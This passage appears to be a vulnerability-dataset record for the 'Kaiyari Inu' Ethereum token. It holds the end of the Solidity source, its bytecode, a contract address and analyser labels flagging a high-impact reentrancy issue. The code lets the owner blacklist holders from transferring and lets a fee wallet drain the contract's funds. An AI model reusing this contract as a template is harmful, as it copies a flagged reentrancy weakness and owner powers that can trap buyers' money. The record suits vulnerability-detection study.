uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 20000000 * 10**9; _maxWalletSize = 40000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612e3f565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190612962565b6104b4565b60405161018e9190612e24565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612fe1565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e4919061299e565b6104e2565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612913565b610632565b60405161021f9190612e24565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612885565b61070b565b005b34801561025d57600080fd5b506102666107fb565b6040516102739190613056565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e91906129df565b610804565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612a31565b6108b6565b005b3480156102da57600080fd5b506102e361098f565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612885565b610a01565b6040516103199190612fe1565b60405180910390f35b34801561032e57600080fd5b50610337610a52565b005b34801561034557600080fd5b5061034e610ba5565b005b34801561035c57600080fd5b50610365610c5a565b6040516103729190612d56565b60405180910390f35b34801561038757600080fd5b50610390610c83565b60405161039d9190612e3f565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c89190612962565b610cc0565b6040516103da9190612e24565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612a31565b610cde565b005b34801561041857600080fd5b50610421610db7565b005b34801561042f57600080fd5b50610438610e31565b005b34801561044657600080fd5b50610461600480360381019061045c91906128d7565b611399565b60405161046e9190612fe1565b60405180910390f35b60606040518060400160405280600b81526020017f4b61697961726920496e75000000000000000000000000000000000000000000815250905090565b60006104c86104c1611420565b8484611428565b6001905092915050565b6000670de0b6b3a7640000905090565b6104ea611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90612f21565b60405180910390fd5b60005b815181101561062e576001600660008484815181106105c2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610626906132f7565b91505061057a565b5050565b600061063f8484846115f3565b6107008461064b611420565b6106fb8560405180606001604052806028815260200161371a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106b1611420565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c869092919063ffffffff16565b611428565b600190509392505050565b610713611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079790612f21565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61080c611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610899576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089090612f21565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108be611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461094b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094290612f21565b60405180910390fd5b6000811161095857600080fd5b610986606461097883670de0b6b3a7640000611cea90919063ffffffff16565b611d6590919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109d0611420565b73ffffffffffffffffffffffffffffffffffffffff16146109f057600080fd5b60004790506109fe81611daf565b50565b6000610a4b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e1b565b9050919050565b610a5a611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ade90612f21565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610bad611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3190612f21565b60405180910390fd5b670de0b6b3a7640000600f81905550670de0b6b3a7640000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f4b41495941524900000000000000000000000000000000000000000000000000815250905090565b6000610cd4610ccd611420565b84846115f3565b6001905092915050565b610ce6611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6a90612f21565b60405180910390fd5b60008111610d8057600080fd5b610dae6064610da083670de0b6b3a7640000611cea90919063ffffffff16565b611d6590919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610df8611420565b73ffffffffffffffffffffffffffffffffffffffff1614610e1857600080fd5b6000610e2330610a01565b9050610e2e81611e89565b50565b610e39611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ec6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebd90612f21565b60405180910390fd5b600e60149054906101000a900460ff1615610f16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0d90612fc1565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610fa530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000611428565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610feb57600080fd5b505afa158015610fff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102391906128ae565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561108557600080fd5b505afa158015611099573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110bd91906128ae565b6040518363ffffffff1660e01b81526004016110da929190612d71565b602060405180830381600087803b1580156110f457600080fd5b505af1158015611108573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061112c91906128ae565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111b530610a01565b6000806111c0610c5a565b426040518863ffffffff1660e01b81526004016111e296959493929190612dc3565b6060604051808303818588803b1580156111fb57600080fd5b505af115801561120f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906112349190612a5a565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff02191690831515021790555066470de4df820000600f81905550668e1bc9bf0400006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611343929190612d9a565b602060405180830381600087803b15801561135d57600080fd5b505af1158015611371573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113959190612a08565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611498576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148f90612fa1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ff90612ec1565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115e69190612fe1565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611663576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165a90612f61565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ca90612e61565b60405180910390fd5b60008111611716576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170d90612f41565b60405180910390fd5b6000600a81905550600a600b8190555061172e610c5a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561179c575061176c610c5a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c7657600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118455750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61184e57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118f95750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561194f5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119675750600e60179054906101000a900460ff165b15611aa557600f548111156119b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a890612e81565b60405180910390fd5b601054816119be84610a01565b6119c89190613117565b1115611a09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0090612f81565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a5457600080fd5b601e42611a619190613117565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b505750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611ba65750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611bbc576000600a81905550600a600b819055505b6000611bc730610a01565b9050600e60159054906101000a900460ff16158015611c345750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c4c5750600e60169054906101000a900460ff165b15611c7457611c5a81611e89565b60004790506000811115611c7257611c7147611daf565b5b505b505b611c81838383612183565b505050565b6000838311158290611cce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc59190612e3f565b60405180910390fd5b5060008385611cdd91906131f8565b9050809150509392505050565b600080831415611cfd5760009050611d5f565b60008284611d0b919061319e565b9050828482611d1a919061316d565b14611d5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5190612f01565b60405180910390fd5b809150505b92915050565b6000611da783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612193565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e17573d6000803e3d6000fd5b5050565b6000600854821115611e62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5990612ea1565b60405180910390fd5b6000611e6c6121f6565b9050611e818184611d6590919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ee7577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611f155781602001602082028036833780820191505090505b5090503081600081518110611f53577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ff557600080fd5b505afa158015612009573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061202d91906128ae565b81600181518110612067577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120ce30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611428565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612132959493929190612ffc565b600060405180830381600087803b15801561214c57600080fd5b505af1158015612160573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61218e838383612221565b505050565b600080831182906121da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d19190612e3f565b60405180910390fd5b50600083856121e9919061316d565b9050809150509392505050565b60008060006122036123ec565b9150915061221a8183611d6590919063ffffffff16565b9250505090565b6000806000806000806122338761244b565b95509550955095509550955061229186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124fd90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123728161255b565b61237c8483612618565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d99190612fe1565b60405180910390a3505050505050505050565b600080600060085490506000670de0b6b3a76400009050612420670de0b6b3a7640000600854611d6590919063ffffffff16565b82101561243e57600854670de0b6b3a7640000935093505050612447565b81819350935050505b9091565b60008060008060008060008060006124688a600a54600b54612652565b92509250925060006124786121f6565b9050600080600061248b8e8787876126e8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124f583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c86565b905092915050565b600080828461250c9190613117565b905083811015612551576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254890612ee1565b60405180910390fd5b8091505092915050565b60006125656121f6565b9050600061257c8284611cea90919063ffffffff16565b90506125d081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124fd90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61262d826008546124b390919063ffffffff16565b600881905550612648816009546124fd90919063ffffffff16565b6009819055505050565b60008060008061267e6064612670888a611cea90919063ffffffff16565b611d6590919063ffffffff16565b905060006126a8606461269a888b611cea90919063ffffffff16565b611d6590919063ffffffff16565b905060006126d1826126c3858c6124b390919063ffffffff16565b6124b390919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127018589611cea90919063ffffffff16565b905060006127188689611cea90919063ffffffff16565b9050600061272f8789611cea90919063ffffffff16565b905060006127588261274a85876124b390919063ffffffff16565b6124b390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061278461277f84613096565b613071565b905080838252602082019050828560208602820111156127a357600080fd5b60005b858110156127d357816127b988826127dd565b8452602084019350602083019250506001810190506127a6565b5050509392505050565b6000813590506127ec816136d4565b92915050565b600081519050612801816136d4565b92915050565b600082601f83011261281857600080fd5b8135612828848260208601612771565b91505092915050565b600081359050612840816136eb565b92915050565b600081519050612855816136eb565b92915050565b60008135905061286a81613702565b92915050565b60008151905061287f81613702565b92915050565b60006020828403121561289757600080fd5b60006128a5848285016127dd565b91505092915050565b6000602082840312156128c057600080fd5b60006128ce848285016127f2565b91505092915050565b600080604083850312156128ea57600080fd5b60006128f8858286016127dd565b9250506020612909858286016127dd565b9150509250929050565b60008060006060848603121561292857600080fd5b6000612936868287016127dd565b9350506020612947868287016127dd565b92505060406129588682870161285b565b9150509250925092565b6000806040838503121561297557600080fd5b6000612983858286016127dd565b92505060206129948582860161285b565b9150509250929050565b6000602082840312156129b057600080fd5b600082013567ffffffffffffffff8111156129ca57600080fd5b6129d684828501612807565b91505092915050565b6000602082840312156129f157600080fd5b60006129ff84828501612831565b91505092915050565b600060208284031215612a1a57600080fd5b6000612a2884828501612846565b91505092915050565b600060208284031215612a4357600080fd5b6000612a518482850161285b565b91505092915050565b600080600060608486031215612a6f57600080fd5b6000612a7d86828701612870565b9350506020612a8e86828701612870565b9250506040612a9f86828701612870565b9150509250925092565b6000612ab58383612ac1565b60208301905092915050565b612aca8161322c565b82525050565b612ad98161322c565b82525050565b6000612aea826130d2565b612af481856130f5565b9350612aff836130c2565b8060005b83811015612b30578151612b178882612aa9565b9750612b22836130e8565b925050600181019050612b03565b5085935050505092915050565b612b468161323e565b82525050565b612b5581613281565b82525050565b6000612b66826130dd565b612b708185613106565b9350612b80818560208601613293565b612b89816133cd565b840191505092915050565b6000612ba1602383613106565b9150612bac826133de565b604082019050919050565b6000612bc4601983613106565b9150612bcf8261342d565b602082019050919050565b6000612be7602a83613106565b9150612bf282613456565b604082019050919050565b6000612c0a602283613106565b9150612c15826134a5565b604082019050919050565b6000612c2d601b83613106565b9150612c38826134f4565b602082019050919050565b6000612c50602183613106565b9150612c5b8261351d565b604082019050919050565b6000612c73602083613106565b9150612c7e8261356c565b602082019050919050565b6000612c96602983613106565b9150612ca182613595565b604082019050919050565b6000612cb9602583613106565b9150612cc4826135e4565b604082019050919050565b6000612cdc601a83613106565b9150612ce782613633565b602082019050919050565b6000612cff602483613106565b9150612d0a8261365c565b604082019050919050565b6000612d22601783613106565b9150612d2d826136ab565b602082019050919050565b612d418161326a565b82525050565b612d5081613274565b82525050565b6000602082019050612d6b6000830184612ad0565b92915050565b6000604082019050612d866000830185612ad0565b612d936020830184612ad0565b9392505050565b6000604082019050612daf6000830185612ad0565b612dbc6020830184612d38565b9392505050565b600060c082019050612dd86000830189612ad0565b612de56020830188612d38565b612df26040830187612b4c565b612dff6060830186612b4c565b612e0c6080830185612ad0565b612e1960a0830184612d38565b979650505050505050565b6000602082019050612e396000830184612b3d565b92915050565b60006020820190508181036000830152612e598184612b5b565b905092915050565b60006020820190508181036000830152612e7a81612b94565b9050919050565b60006020820190508181036000830152612e9a81612bb7565b9050919050565b60006020820190508181036000830152612eba81612bda565b9050919050565b60006020820190508181036000830152612eda81612bfd565b9050919050565b60006020820190508181036000830152612efa81612c20565b9050919050565b60006020820190508181036000830152612f1a81612c43565b9050919050565b60006020820190508181036000830152612f3a81612c66565b9050919050565b60006020820190508181036000830152612f5a81612c89565b9050919050565b60006020820190508181036000830152612f7a81612cac565b9050919050565b60006020820190508181036000830152612f9a81612ccf565b9050919050565b60006020820190508181036000830152612fba81612cf2565b9050919050565b60006020820190508181036000830152612fda81612d15565b9050919050565b6000602082019050612ff66000830184612d38565b92915050565b600060a0820190506130116000830188612d38565b61301e6020830187612b4c565b81810360408301526130308186612adf565b905061303f6060830185612ad0565b61304c6080830184612d38565b9695505050505050565b600060208201905061306b6000830184612d47565b92915050565b600061307b61308c565b905061308782826132c6565b919050565b6000604051905090565b600067ffffffffffffffff8211156130b1576130b061339e565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131228261326a565b915061312d8361326a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561316257613161613340565b5b828201905092915050565b60006131788261326a565b91506131838361326a565b9250826131935761319261336f565b5b828204905092915050565b60006131a98261326a565b91506131b48361326a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131ed576131ec613340565b5b828202905092915050565b60006132038261326a565b915061320e8361326a565b92508282101561322157613220613340565b5b828203905092915050565b60006132378261324a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061328c8261326a565b9050919050565b60005b838110156132b1578082015181840152602081019050613296565b838111156132c0576000848401525b50505050565b6132cf826133cd565b810181811067ffffffffffffffff821117156132ee576132ed61339e565b5b80604052505050565b60006133028261326a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561333557613334613340565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6136dd8161322c565b81146136e857600080fd5b50565b6136f48161323e565b81146136ff57600080fd5b50565b61370b8161326a565b811461371657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205c476d0ffb1e663f841978ee0e3f0e08881b1f3464858cd89df5c7fc344e398564736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
2,709
0x460af24b4da073cce5c75db73df1ea8929f00168
